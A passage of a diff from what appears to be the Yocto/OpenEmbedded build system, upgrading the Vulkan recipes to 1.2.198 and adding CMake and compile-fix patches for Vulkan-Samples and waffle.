-+ printf("tdefl_compress_mem_to_heap failed: from %u to %u bytes\n",
-+ (mz_uint32)uncomp_len, (mz_uint32)cmp_len);
-+ free(pCmp);
-+ return EXIT_FAILURE;
-+ }
-+
-+ sz = tdefl_compress_mem_to_mem(pCmp, cmp_len, s_pStr, src_len, 0);
-+ if (sz != cmp_len) {
-+ printf("tdefl_compress_mem_to_mem failed: expected %u, got %u\n",
-+ (mz_uint32)cmp_len, (mz_uint32)sz);
-+ free(pCmp);
-+ return EXIT_FAILURE;
-+ }
-+
- // Allocate buffers to hold compressed and uncompressed data.
-+ free(pCmp);
-+ cmp_len = compressBound(src_len);
- pCmp = (mz_uint8 *)malloc((size_t)cmp_len);
- pUncomp = (mz_uint8 *)malloc((size_t)src_len);
- if ((!pCmp) || (!pUncomp)) {
diff --git a/meta/recipes-graphics/vulkan/assimp_5.0.1.bb b/meta/recipes-graphics/vulkan/assimp_5.0.1.bb
deleted file mode 100644
index 5a8c62e64d..0000000000
--- a/meta/recipes-graphics/vulkan/assimp_5.0.1.bb
+++ /dev/null
@@ -1,23 +0,0 @@
-DESCRIPTION = "Open Asset Import Library is a portable Open Source library to import \
- various well-known 3D model formats in a uniform manner."
-HOMEPAGE = "http://www.assimp.org/"
-SECTION = "devel"
-
-LICENSE = "BSD-3-Clause"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=2119edef0916b0bd511cb3c731076271"
-
-DEPENDS = "zlib"
-
-SRC_URI = "git://github.com/assimp/assimp.git;branch=assimp_5.0_release \
- file://0001-closes-https-github.com-assimp-assimp-issues-2733-up.patch \
- file://0001-Use-ASSIMP_LIB_INSTALL_DIR-to-search-library.patch \
- "
-UPSTREAM_CHECK_GITTAGREGEX = "v(?P<pver>(\d+(\.\d+)+))"
-
-SRCREV = "8f0c6b04b2257a520aaab38421b2e090204b69df"
-
-S = "${WORKDIR}/git"
-
-inherit cmake
-
-EXTRA_OECMAKE = "-DASSIMP_BUILD_ASSIMP_TOOLS=OFF -DASSIMP_BUILD_TESTS=OFF -DASSIMP_LIB_INSTALL_DIR=${baselib}"
diff --git a/meta/recipes-graphics/vulkan/vulkan-headers_1.2.154.0.bb b/meta/recipes-graphics/vulkan/vulkan-headers_1.2.154.0.bb
deleted file mode 100644
index 0e4d260960..0000000000
--- a/meta/recipes-graphics/vulkan/vulkan-headers_1.2.154.0.bb
+++ /dev/null
@@ -1,18 +0,0 @@
-SUMMARY = "Vulkan Header files and API registry"
-HOMEPAGE = "https://www.khronos.org/vulkan/"
-BUGTRACKER = "https://github.com/KhronosGroup/Vulkan-Headers"
-SECTION = "libs"
-
-LICENSE = "Apache-2.0"
-LIC_FILES_CHKSUM = "file://LICENSE.txt;md5=3b83ef96387f14655fc854ddc3c6bd57"
-SRC_URI = "git://github.com/KhronosGroup/Vulkan-Headers.git;branch=master"
-
-SRCREV = "7f9879b1b1fab53f719a9ed5e6e29533b10972b2"
-
-S = "${WORKDIR}/git"
-
-inherit cmake
-
-FILES_${PN} += "${datadir}/vulkan"
-
-UPSTREAM_CHECK_GITTAGREGEX = "sdk-(?P<pver>\d+(\.\d+)+)"
diff --git a/meta/recipes-graphics/vulkan/vulkan-headers_1.2.198.0.bb b/meta/recipes-graphics/vulkan/vulkan-headers_1.2.198.0.bb
new file mode 100644
index 0000000000..43c0cdb53d
--- /dev/null
+++ b/meta/recipes-graphics/vulkan/vulkan-headers_1.2.198.0.bb
@@ -0,0 +1,22 @@
+SUMMARY = "Vulkan Header files and API registry"
+DESCRIPTION = "Vulkan is a 3D graphics and compute API providing cross-platform access \
+to modern GPUs with low overhead and targeting realtime graphics applications such as \
+games and interactive media. This package contains the development headers \
+for packages wanting to make use of Vulkan."
+HOMEPAGE = "https://www.khronos.org/vulkan/"
+BUGTRACKER = "https://github.com/KhronosGroup/Vulkan-Headers"
+SECTION = "libs"
+
+LICENSE = "Apache-2.0"
+LIC_FILES_CHKSUM = "file://LICENSE.txt;md5=3b83ef96387f14655fc854ddc3c6bd57"
+SRC_URI = "git://github.com/KhronosGroup/Vulkan-Headers.git;branch=main;protocol=https"
+
+SRCREV = "8c1c27d5a9b9de8a17f500053bd08c7ca6bba19c"
+
+S = "${WORKDIR}/git"
+
+inherit cmake
+
+FILES:${PN} += "${datadir}/vulkan"
+
+UPSTREAM_CHECK_GITTAGREGEX = "sdk-(?P<pver>\d+(\.\d+)+)"
diff --git a/meta/recipes-graphics/vulkan/vulkan-loader_1.2.154.1.bb b/meta/recipes-graphics/vulkan/vulkan-loader_1.2.154.1.bb
deleted file mode 100644
index 23bf59f8a6..0000000000
--- a/meta/recipes-graphics/vulkan/vulkan-loader_1.2.154.1.bb
+++ /dev/null
@@ -1,38 +0,0 @@
-SUMMARY = "3D graphics and compute API common loader"
-DESCRIPTION = "Vulkan is a new generation graphics and compute API \
-that provides efficient access to modern GPUs. These packages \
-provide only the common vendor-agnostic library loader, headers and \
-the vulkaninfo utility."
-HOMEPAGE = "https://www.khronos.org/vulkan/"
-BUGTRACKER = "https://github.com/KhronosGroup/Vulkan-Loader"
-SECTION = "libs"
-
-LICENSE = "Apache-2.0"
-LIC_FILES_CHKSUM = "file://LICENSE.txt;md5=7dbefed23242760aa3475ee42801c5ac"
-SRC_URI = "git://github.com/KhronosGroup/Vulkan-Loader.git;branch=sdk-1.2.154"
-SRCREV = "2aa801755eab3fab610d9676c4dd94054e30c854"
-
-S = "${WORKDIR}/git"
-
-REQUIRED_DISTRO_FEATURES = "vulkan"
-
-inherit cmake features_check
-ANY_OF_DISTRO_FEATURES = "x11 wayland"
-
-DEPENDS += "vulkan-headers"
-
-EXTRA_OECMAKE = "\
- -DBUILD_TESTS=OFF \
- -DPYTHON_EXECUTABLE=${HOSTTOOLS_DIR}/python3 \
- -DASSEMBLER_WORKS=FALSE \
- "
-
-# must choose x11 or wayland or both
-PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'wayland x11', d)}"
-
-PACKAGECONFIG[x11] = "-DBUILD_WSI_XLIB_SUPPORT=ON -DBUILD_WSI_XCB_SUPPORT=ON, -DBUILD_WSI_XLIB_SUPPORT=OFF -DBUILD_WSI_XCB_SUPPORT=OFF, libxcb libx11 libxrandr"
-PACKAGECONFIG[wayland] = "-DBUILD_WSI_WAYLAND_SUPPORT=ON, -DBUILD_WSI_WAYLAND_SUPPORT=OFF, wayland"
-
-RRECOMMENDS_${PN} = "mesa-vulkan-drivers"
-
-UPSTREAM_CHECK_GITTAGREGEX = "sdk-(?P<pver>\d+(\.\d+)+)"
diff --git a/meta/recipes-graphics/vulkan/vulkan-loader_1.2.198.1.bb b/meta/recipes-graphics/vulkan/vulkan-loader_1.2.198.1.bb
new file mode 100644
index 0000000000..446a2d5c05
--- /dev/null
+++ b/meta/recipes-graphics/vulkan/vulkan-loader_1.2.198.1.bb
@@ -0,0 +1,40 @@
+SUMMARY = "3D graphics and compute API common loader"
+DESCRIPTION = "Vulkan is a new generation graphics and compute API \
+that provides efficient access to modern GPUs. These packages \
+provide only the common vendor-agnostic library loader, headers and \
+the vulkaninfo utility."
+HOMEPAGE = "https://www.khronos.org/vulkan/"
+BUGTRACKER = "https://github.com/KhronosGroup/Vulkan-Loader"
+SECTION = "libs"
+
+LICENSE = "Apache-2.0"
+LIC_FILES_CHKSUM = "file://LICENSE.txt;md5=7dbefed23242760aa3475ee42801c5ac"
+SRC_URI = "git://github.com/KhronosGroup/Vulkan-Loader.git;branch=sdk-1.2.198;protocol=https"
+SRCREV = "0ca96994f92b6f21b37badd6c99b22f61bfec932"
+
+S = "${WORKDIR}/git"
+
+REQUIRED_DISTRO_FEATURES = "vulkan"
+
+inherit cmake features_check
+ANY_OF_DISTRO_FEATURES = "x11 wayland"
+
+DEPENDS += "vulkan-headers"
+
+EXTRA_OECMAKE = "\
+ -DBUILD_TESTS=OFF \
+ -DPYTHON_EXECUTABLE=${HOSTTOOLS_DIR}/python3 \
+ -DASSEMBLER_WORKS=FALSE \
+ -DVulkanHeaders_INCLUDE_DIR=${STAGING_INCDIR} \
+ -DVulkanRegistry_DIR=${RECIPE_SYSROOT}/${datadir} \
+ "
+
+# must choose x11 or wayland or both
+PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'wayland x11', d)}"
+
+PACKAGECONFIG[x11] = "-DBUILD_WSI_XLIB_SUPPORT=ON -DBUILD_WSI_XCB_SUPPORT=ON, -DBUILD_WSI_XLIB_SUPPORT=OFF -DBUILD_WSI_XCB_SUPPORT=OFF, libxcb libx11 libxrandr"
+PACKAGECONFIG[wayland] = "-DBUILD_WSI_WAYLAND_SUPPORT=ON, -DBUILD_WSI_WAYLAND_SUPPORT=OFF, wayland"
+
+RRECOMMENDS:${PN} = "mesa-vulkan-drivers"
+
+UPSTREAM_CHECK_GITTAGREGEX = "sdk-(?P<pver>\d+(\.\d+)+)"
diff --git a/meta/recipes-graphics/vulkan/vulkan-samples/0001-framework-core-Add-explicit-static_cast-from-vk-Buff.patch b/meta/recipes-graphics/vulkan/vulkan-samples/0001-framework-core-Add-explicit-static_cast-from-vk-Buff.patch
new file mode 100644
index 0000000000..b0e7cdabe4
--- /dev/null
+++ b/meta/recipes-graphics/vulkan/vulkan-samples/0001-framework-core-Add-explicit-static_cast-from-vk-Buff.patch
@@ -0,0 +1,35 @@
+From f88fd472e57b59013570f08949dbbc0875c1bae4 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Sat, 13 Nov 2021 18:37:13 -0800
+Subject: [PATCH] framework/core: Add explicit static_cast from vk::Buffer to
+ VkBuffer
+
+This fixes errors like
+framework/core/hpp_buffer.cpp:149:3: error: no matching function for call to 'vmaDestroyBuffer'
+| vmaDestroyBuffer(vmaAllocator, handle, vmaAllocation);
+| ^~~~~~~~~~~~~~~~
+| /mnt/b/yoe/master/build/tmp/work/riscv32-yoe-linux-musl/vulkan-samples/git-r0/git/third_party/vma/src/vk_mem_alloc.h:3803:33: note: candidate function not viable: no known conversion from 'vk::Buffer' to 'V
+kBuffer' (aka 'unsigned long long') for 2nd argument
+
+Upstream-Status: Submitted [https://github.com/KhronosGroup/Vulkan-Samples/pull/395]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ framework/core/hpp_buffer.cpp | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/framework/core/hpp_buffer.cpp b/framework/core/hpp_buffer.cpp
+index c1f5649..2609e4e 100644
+--- a/framework/core/hpp_buffer.cpp
++++ b/framework/core/hpp_buffer.cpp
+@@ -146,7 +146,7 @@ void HPPBuffer::destroy()
+ {
+ assert(vmaAllocation != VK_NULL_HANDLE);
+ unmap();
+- vmaDestroyBuffer(vmaAllocator, handle, vmaAllocation);
++ vmaDestroyBuffer(vmaAllocator, static_cast<VkBuffer>(handle), vmaAllocation);
+ }
+ }
+
+--
+2.33.1
+
diff --git a/meta/recipes-graphics/vulkan/vulkan-samples/0001-framework-do-not-mix-plain-and-keyword-target_link_l.patch b/meta/recipes-graphics/vulkan/vulkan-samples/0001-framework-do-not-mix-plain-and-keyword-target_link_l.patch
new file mode 100644
index 0000000000..66ed8bb47d
--- /dev/null
+++ b/meta/recipes-graphics/vulkan/vulkan-samples/0001-framework-do-not-mix-plain-and-keyword-target_link_l.patch
@@ -0,0 +1,38 @@
+From 64b806ab702a6f445fd84aca5f03bb85b86a66e3 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Thu, 11 Nov 2021 18:37:09 -0800
+Subject: [PATCH] framework: do not mix plain and keyword
+ target_link_libraries() signatures
+
+Fixes
+| CMake Error at framework/CMakeLists.txt:461 (target_link_libraries):
+| The plain signature for target_link_libraries has already been used with
+| the target "framework". All uses of target_link_libraries with a target | must be either all-keyword or all-plain.
+|
+| The uses of the plain signature are here:
+| | * framework/CMakeLists.txt:453 (target_link_libraries)
+|
+
+Upstream-Status: Submitted [https://github.com/KhronosGroup/Vulkan-Samples/pull/395]
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ framework/CMakeLists.txt | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/framework/CMakeLists.txt b/framework/CMakeLists.txt
+index 948c796..13d3324 100644
+--- a/framework/CMakeLists.txt
++++ b/framework/CMakeLists.txt
+@@ -450,7 +450,7 @@ target_link_libraries(${PROJECT_NAME} PUBLIC
+ plugins)
+
+ if(${NEED_LINK_ATOMIC})
+- target_link_libraries(${PROJECT_NAME} atomic)
++ target_link_libraries(${PROJECT_NAME} PUBLIC atomic)
+ endif()
+
+ # Link platform specific libraries
+--
+2.33.1
+
diff --git a/meta/recipes-graphics/vulkan/vulkan-samples/0001-support-link-against-libatomic-if-no-built-in-atomic.patch b/meta/recipes-graphics/vulkan/vulkan-samples/0001-support-link-against-libatomic-if-no-built-in-atomic.patch
deleted file mode 100644
index 6c0fb60868..0000000000
--- a/meta/recipes-graphics/vulkan/vulkan-samples/0001-support-link-against-libatomic-if-no-built-in-atomic.patch
+++ /dev/null
@@ -1,117 +0,0 @@
-From e20a5d13935a41a856e8f71c49f2cc9d81b1d92c Mon Sep 17 00:00:00 2001
-From: Changqing Li <changqing.li@windriver.com>
-Date: Fri, 13 Nov 2020 17:07:00 +0800
-Subject: [PATCH] support link against libatomic if no built-in atomic exist
-
-fix error:
-| framework/lib/ppc/libframework.a(device.cpp.o): in function `std::__atomic_base<unsigned long long>::load(std::memory_order) const':
-| /usr/include/c++/10.2.0/bits/atomic_base.h:426: undefined reference to `__atomic_load_8'
-
-Upstream-Status: Submitted [https://github.com/KhronosGroup/Vulkan-Samples/pull/212]
-
-Signed-off-by: Changqing Li <changqing.li@windriver.com>
----
- CMakeLists.txt | 1 +
- bldsys/cmake/check_atomic.cmake | 62 +++++++++++++++++++++++++++++++++
- framework/CMakeLists.txt | 4 +++
- 3 files changed, 67 insertions(+)
- create mode 100644 bldsys/cmake/check_atomic.cmake
-
-diff --git a/CMakeLists.txt b/CMakeLists.txt
-index e72e829..466f51d 100644
---- a/CMakeLists.txt
-+++ b/CMakeLists.txt
-@@ -42,6 +42,7 @@ endmacro(vulkan_samples_pch)
- include(utils)
- include(global_options)
- include(sample_helper)
-+include(check_atomic)
-
- # Add third party libraries
- add_subdirectory(third_party)
-diff --git a/bldsys/cmake/check_atomic.cmake b/bldsys/cmake/check_atomic.cmake
-new file mode 100644
-index 0000000..6b47a7a
---- /dev/null
-+++ b/bldsys/cmake/check_atomic.cmake
-@@ -0,0 +1,62 @@
-+# check weither need to link atomic library explicitly
-+INCLUDE(CheckCXXSourceCompiles)
-+INCLUDE(CheckLibraryExists)
-+
-+if(NOT DEFINED VULKAN_COMPILER_IS_GCC_COMPATIBLE)
-+ if(CMAKE_COMPILER_IS_GNUCXX)
-+ set(VULKAN_COMPILER_IS_GCC_COMPATIBLE ON)
-+ elseif( MSVC )
-+ set(VULKAN_COMPILER_IS_GCC_COMPATIBLE OFF)
-+ elseif( "${CMAKE_CXX_COMPILER_ID}" MATCHES "Clang" )
-+ set(VULKAN_COMPILER_IS_GCC_COMPATIBLE ON)
-+ elseif( "${CMAKE_CXX_COMPILER_ID}" MATCHES "Intel" )
-+ set(VULKAN_COMPILER_IS_GCC_COMPATIBLE ON)
-+ endif()
-+endif()
-+
-+# Sometimes linking against libatomic is required for atomic ops, if
-+# the platform doesn't support lock-free atomics.
-+
-+function(check_working_cxx_atomics varname)
-+ set(OLD_CMAKE_REQUIRED_FLAGS ${CMAKE_REQUIRED_FLAGS})
-+ set(CMAKE_REQUIRED_FLAGS "${CMAKE_REQUIRED_FLAGS} -std=c++11")
-+ CHECK_CXX_SOURCE_COMPILES("
-+#include <atomic>
-+std::atomic<int> x;
-+std::atomic<short> y;
-+std::atomic<char> z;
-+int main() {
-+ ++z;
-+ ++y;
-+ return ++x;
-+}
-+" ${varname})
-+ set(CMAKE_REQUIRED_FLAGS ${OLD_CMAKE_REQUIRED_FLAGS})
-+endfunction(check_working_cxx_atomics)
-+
-+function(check_working_cxx_atomics64 varname)
-+ set(OLD_CMAKE_REQUIRED_FLAGS ${CMAKE_REQUIRED_FLAGS})
-+ set(CMAKE_REQUIRED_FLAGS "-std=c++11 ${CMAKE_REQUIRED_FLAGS}")
-+ CHECK_CXX_SOURCE_COMPILES("
-+#include <atomic>
-+#include <cstdint>
-+std::atomic<uint64_t> x (0);
-+int main() {
-+ uint64_t i = x.load(std::memory_order_relaxed);
-+ (void)i;
-+ return 0;
-+}
-+" ${varname})
-+ set(CMAKE_REQUIRED_FLAGS ${OLD_CMAKE_REQUIRED_FLAGS})
-+endfunction(check_working_cxx_atomics64)
-+
-+set(NEED_LINK_ATOMIC OFF CACHE BOOL "weither need to link against atomic library")
-+if(VULKAN_COMPILER_IS_GCC_COMPATIBLE)
-+ # check if non-64-bit atomics work without the library.
-+ check_working_cxx_atomics(HAVE_CXX_ATOMICS_WITHOUT_LIB)
-+ # check 64-bit atomics work without the library.
-+ check_working_cxx_atomics64(HAVE_CXX_ATOMICS64_WITHOUT_LIB)
-+ if (NOT HAVE_CXX_ATOMICS_WITHOUT_LIB OR NOT HAVE_CXX_ATOMICS64_WITHOUT_LIB)
-+ set(NEED_LINK_ATOMIC ON CACHE BOOL "weither need to link to atomic library" FORCE)
-+ endif()
-+endif()
-diff --git a/framework/CMakeLists.txt b/framework/CMakeLists.txt
-index bf26786..322526e 100644
---- a/framework/CMakeLists.txt
-+++ b/framework/CMakeLists.txt
-@@ -412,6 +412,10 @@ target_link_libraries(${PROJECT_NAME}
- ctpl
- docopt)
-
-+if(${NEED_LINK_ATOMIC})
-+ target_link_libraries(${PROJECT_NAME} atomic)
-+endif()
-+
- # Link platform specific libraries
- if(ANDROID)
- target_link_libraries(${PROJECT_NAME} log android native_app_glue)
---
-2.17.1
-
diff --git a/meta/recipes-graphics/vulkan/vulkan-samples/debugfix.patch b/meta/recipes-graphics/vulkan/vulkan-samples/debugfix.patch
new file mode 100644
index 0000000000..d723fcc19a
--- /dev/null
+++ b/meta/recipes-graphics/vulkan/vulkan-samples/debugfix.patch
@@ -0,0 +1,31 @@
+There is code to remove the prefix CMAKE_SOURCE_DIR from __FILENAME__ paths
+used for logging with LOGE() in the code. We need to make this match the value we use
+in the debug source remapping from CFLAGS
+
+We export the right path to use in the recipe with:
+
+EXTRA_OECMAKE = "-DCMAKE_DEBUG_SRCDIR=/usr/src/debug/${PN}/${EXTENDPE}${PV}-${PR}/"
+
+and we then patch this into the code instead of the broken use
+of CMAKE_SOURCE_DIR since __FILENAME__ will match our path prefix
+changes.
+
+This also breaks reproducibility since the path length of the build directory
+will currently change the output!
+
+Upstream-Status: Pending [needs to be discussed upstream]
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+
+Index: git/bldsys/cmake/global_options.cmake
+===================================================================
+--- git.orig/bldsys/cmake/global_options.cmake
++++ git/bldsys/cmake/global_options.cmake
+@@ -47,7 +47,7 @@ set(CMAKE_CXX_STANDARD 14)
+ set(CMAKE_DISABLE_SOURCE_CHANGES ON)
+ set(CMAKE_DISABLE_IN_SOURCE_BUILD ON)
+
+-string(LENGTH "${CMAKE_SOURCE_DIR}/" ROOT_PATH_SIZE)
++string(LENGTH "${CMAKE_DEBUG_SRCDIR}/" ROOT_PATH_SIZE)
+ add_definitions(-DROOT_PATH_SIZE=${ROOT_PATH_SIZE})
+
+ set(CMAKE_C_FLAGS_DEBUG "-DDEBUG=0 ${CMAKE_C_FLAGS_DEBUG}")
diff --git a/meta/recipes-graphics/vulkan/vulkan-samples_git.bb b/meta/recipes-graphics/vulkan/vulkan-samples_git.bb
index 980557a3b9..1e45e9f04b 100644
--- a/meta/recipes-graphics/vulkan/vulkan-samples_git.bb
+++ b/meta/recipes-graphics/vulkan/vulkan-samples_git.bb
@@ -1,21 +1,40 @@
DESCRIPTION = "The Vulkan Samples is collection of resources to help develop optimized Vulkan applications."
+HOMEPAGE = "https://www.khronos.org/vulkan/"
+BUGTRACKER = "https://github.com/KhronosGroup/Vulkan-Samples/issues"
LICENSE = "Apache-2.0"
LIC_FILES_CHKSUM = "file://LICENSE;md5=48aa35cefb768436223a6e7f18dc2a2a"
-SRC_URI = "gitsm://github.com/KhronosGroup/Vulkan-Samples.git \
+SRC_URI = "gitsm://github.com/KhronosGroup/Vulkan-Samples.git;branch=master;protocol=https \
file://0001-CMakeLists.txt-do-not-hardcode-lib-as-installation-t.patch \
- file://0001-support-link-against-libatomic-if-no-built-in-atomic.patch \
+ file://0001-framework-do-not-mix-plain-and-keyword-target_link_l.patch \
+ file://0001-framework-core-Add-explicit-static_cast-from-vk-Buff.patch \
+ file://debugfix.patch \
"
UPSTREAM_CHECK_COMMITS = "1"
-SRCREV = "f52361d3cd6ac8c30fc3365a464b4e220c32cfd6"
+SRCREV = "ae6e4a3712cebde49a29e5996a3bd2f403566890"
UPSTREAM_CHECK_GITTAGREGEX = "These are not the releases you're looking for"
S = "${WORKDIR}/git"
REQUIRED_DISTRO_FEATURES = 'vulkan'
+COMPATIBLE_HOST = "(x86_64|aarch64|mips64|powerpc64|riscv64).*-linux"
inherit cmake features_check
-FILES_${PN} += "${datadir}"
+FILES:${PN} += "${datadir}"
+
+#
+# There is code to remove the prefix CMAKE_SOURCE_DIR from __FILENAME__ paths
+# used for logging with LOGE in the code. We need to make this match the value we use
+# in the debug source remapping from CFLAGS
+#
+EXTRA_OECMAKE += "-DCMAKE_DEBUG_SRCDIR=/usr/src/debug/${PN}/${EXTENDPE}${PV}-${PR}/"
+# Binaries built with PCH enabled don't appear reproducible, differing results were seen
+# from some builds depending on the point the PCH was compiled. Disable it to be
+# deterministic
+EXTRA_OECMAKE += "-DCMAKE_DISABLE_PRECOMPILE_HEADERS=ON"
+
+# This needs to be specified explicitly to avoid xcb/xlib dependencies
+EXTRA_OECMAKE += "-DVKB_WSI_SELECTION=D2D"
diff --git a/meta/recipes-graphics/vulkan/vulkan-tools_1.2.154.0.bb b/meta/recipes-graphics/vulkan/vulkan-tools_1.2.154.0.bb
deleted file mode 100644
index 0fc3494eea..0000000000
--- a/meta/recipes-graphics/vulkan/vulkan-tools_1.2.154.0.bb
+++ /dev/null
@@ -1,31 +0,0 @@
-SUMMARY = "Vulkan Utilities and Tools"
-HOMEPAGE = "https://www.khronos.org/vulkan/"
-BUGTRACKER = "https://github.com/KhronosGroup/Vulkan-Tools"
-SECTION = "libs"
-
-LICENSE = "Apache-2.0"
-LIC_FILES_CHKSUM = "file://LICENSE.txt;md5=3b83ef96387f14655fc854ddc3c6bd57"
-SRC_URI = "git://github.com/KhronosGroup/Vulkan-Tools.git;branch=sdk-1.2.154"
-SRCREV = "10d757bb1072416ddfbe4c24b43d4cd2f808a5c7"
-
-S = "${WORKDIR}/git"
-
-inherit cmake features_check
-ANY_OF_DISTRO_FEATURES = "x11 wayland"
-REQUIRED_DISTRO_FEATURES = "vulkan"
-
-DEPENDS += "vulkan-headers vulkan-loader"
-
-EXTRA_OECMAKE = "\
- -DBUILD_TESTS=OFF \
- -DBUILD_CUBE=OFF \
- -DPYTHON_EXECUTABLE=${HOSTTOOLS_DIR}/python3 \
- "
-
-# must choose x11 or wayland or both
-PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'wayland x11', d)}"
-
-PACKAGECONFIG[x11] = "-DBUILD_WSI_XLIB_SUPPORT=ON -DBUILD_WSI_XCB_SUPPORT=ON, -DBUILD_WSI_XLIB_SUPPORT=OFF -DBUILD_WSI_XCB_SUPPORT=OFF, libxcb libx11 libxrandr"
-PACKAGECONFIG[wayland] = "-DBUILD_WSI_WAYLAND_SUPPORT=ON, -DBUILD_WSI_WAYLAND_SUPPORT=OFF, wayland"
-
-UPSTREAM_CHECK_GITTAGREGEX = "sdk-(?P<pver>\d+(\.\d+)+)"
diff --git a/meta/recipes-graphics/vulkan/vulkan-tools_1.2.198.0.bb b/meta/recipes-graphics/vulkan/vulkan-tools_1.2.198.0.bb
new file mode 100644
index 0000000000..09f75383c2
--- /dev/null
+++ b/meta/recipes-graphics/vulkan/vulkan-tools_1.2.198.0.bb
@@ -0,0 +1,32 @@
+SUMMARY = "Vulkan Utilities and Tools"
+DESCRIPTION = "Assist development by enabling developers to verify their applications correct use of the Vulkan API."
+HOMEPAGE = "https://www.khronos.org/vulkan/"
+BUGTRACKER = "https://github.com/KhronosGroup/Vulkan-Tools"
+SECTION = "libs"
+
+LICENSE = "Apache-2.0"
+LIC_FILES_CHKSUM = "file://LICENSE.txt;md5=3b83ef96387f14655fc854ddc3c6bd57"
+SRC_URI = "git://github.com/KhronosGroup/Vulkan-Tools.git;branch=sdk-1.2.198;protocol=https"
+SRCREV = "8040a7af8919a47346cfeaf1fbc2ebfe09cfea09"
+
+S = "${WORKDIR}/git"
+
+inherit cmake features_check
+ANY_OF_DISTRO_FEATURES = "x11 wayland"
+REQUIRED_DISTRO_FEATURES = "vulkan"
+
+DEPENDS += "vulkan-headers vulkan-loader"
+
+EXTRA_OECMAKE = "\
+ -DBUILD_TESTS=OFF \
+ -DBUILD_CUBE=OFF \
+ -DPYTHON_EXECUTABLE=${HOSTTOOLS_DIR}/python3 \
+ "
+
+# must choose x11 or wayland or both
+PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'wayland x11', d)}"
+
+PACKAGECONFIG[x11] = "-DBUILD_WSI_XLIB_SUPPORT=ON -DBUILD_WSI_XCB_SUPPORT=ON, -DBUILD_WSI_XLIB_SUPPORT=OFF -DBUILD_WSI_XCB_SUPPORT=OFF, libxcb libx11 libxrandr"
+PACKAGECONFIG[wayland] = "-DBUILD_WSI_WAYLAND_SUPPORT=ON, -DBUILD_WSI_WAYLAND_SUPPORT=OFF, wayland"
+
+UPSTREAM_CHECK_GITTAGREGEX = "sdk-(?P<pver>\d+(\.\d+)+)"
diff --git a/meta/recipes-graphics/waffle/waffle/0001-waffle-do-not-make-core-protocol-into-the-library.patch b/meta/recipes-graphics/waffle/waffle/0001-waffle-do-not-make-core-protocol-into-the-library.patch
new file mode 100644
index 0000000000..24b2de5d9c
--- /dev/null
+++ b/meta/recipes-graphics/waffle/waffle/0001-waffle-do-not-make-core-protocol-into-the-library.patch
@@ -0,0 +1,56 @@
+From 7610ec4b572d3a54d30fca6798f0c406f3fd8a46 Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex@linutronix.de>
+Date: Tue, 26 Oct 2021 08:52:17 +0200
+Subject: [PATCH] waffle: do not make core protocol into the library
+
+None of the consumers (which is just piglit) use it, and
+this avoids host contamination from pkg-config suggesting
+wayland.xml from the host.
+
+Upstream-Status: Inappropriate [oe-core specific]
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+---
+ meson.build | 4 ----
+ src/waffle/meson.build | 7 -------
+ 2 files changed, 11 deletions(-)
+
+diff --git a/meson.build b/meson.build
+index ffc02ff..0bb6128 100644
+--- a/meson.build
++++ b/meson.build
+@@ -104,10 +104,6 @@ else
+ dep_wayland_client = dependency(
+ 'wayland-client', version : '>= 1.10', required : get_option('wayland'),
+ )
+- if dep_wayland_client.found()
+- wayland_core_xml = join_paths(dep_wayland_client.get_pkgconfig_variable('pkgdatadir'),
+- 'wayland.xml')
+- endif
+ dep_wayland_egl = dependency(
+ 'wayland-egl', version : '>= 9.1', required : get_option('wayland'),
+ )
+diff --git a/src/waffle/meson.build b/src/waffle/meson.build
+index 01898c8..6245868 100644
+--- a/src/waffle/meson.build
++++ b/src/waffle/meson.build
+@@ -88,12 +88,6 @@ if build_surfaceless
+ endif
+
+ if build_wayland
+- wl_core_proto_c = custom_target(
+- 'wl-core-proto.c',
+- input: wayland_core_xml,
+- output: 'wl-core-proto.c',
+- command: [prog_wayland_scanner, 'private-code', '@INPUT@', '@OUTPUT@'],
+- )
+ wl_xdg_shell_proto_c = custom_target(
+ 'wl-xdg-shell-proto.c',
+ input: wayland_xdg_shell_xml,
+@@ -114,7 +108,6 @@ if build_wayland
+ 'wayland/wayland_wrapper.c',
+ )
+ files_libwaffle += [
+- wl_core_proto_c,
+ wl_xdg_shell_proto_c,
+ wl_xdg_shell_proto_h,
+ ]
diff --git a/meta/recipes-graphics/waffle/waffle_1.6.1.bb b/meta/recipes-graphics/waffle/waffle_1.6.1.bb
deleted file mode 100644
index 3f3c0e9028..0000000000
--- a/meta/recipes-graphics/waffle/waffle_1.6.1.bb
+++ /dev/null
@@ -1,39 +0,0 @@
-SUMMARY = "cross-platform C library to defer selection of GL API and of window system"
-LICENSE = "BSD-2-Clause"
-LIC_FILES_CHKSUM = "file://LICENSE.txt;md5=4c5154407c2490750dd461c50ad94797 \
- file://include/waffle/waffle.h;endline=24;md5=61dbf8697f61c78645e75a93c585b1bf"
-
-SRC_URI = "http://waffle-gl.org/files/release/${BPN}-${PV}/${BPN}-${PV}.tar.xz"
-SRC_URI[md5sum] = "c91529e579483f44fb330052872b9c73"
-SRC_URI[sha256sum] = "31565649ff0e2d8dff1b8f7f2264ab7a78452063c7e04adfc4ce03e64b655080"
-
-UPSTREAM_CHECK_URI = "http://www.waffle-gl.org/releases.html"
-
-inherit meson features_check lib_package bash-completion
-
-DEPENDS_append = " python3"
-
-# This should be overridden per-machine to reflect the capabilities of the GL
-# stack.
-PACKAGECONFIG ??= "${@bb.utils.contains('DISTRO_FEATURES', 'x11', 'glx x11-egl', '', d)} \
- ${@bb.utils.contains('DISTRO_FEATURES', 'wayland', 'wayland', '', d)} \
- surfaceless-egl gbm"
-
-# virtual/libgl requires opengl in DISTRO_FEATURES.
-REQUIRED_DISTRO_FEATURES += "${@bb.utils.contains('DEPENDS', 'virtual/${MLPREFIX}libgl', 'opengl', '', d)}"
-
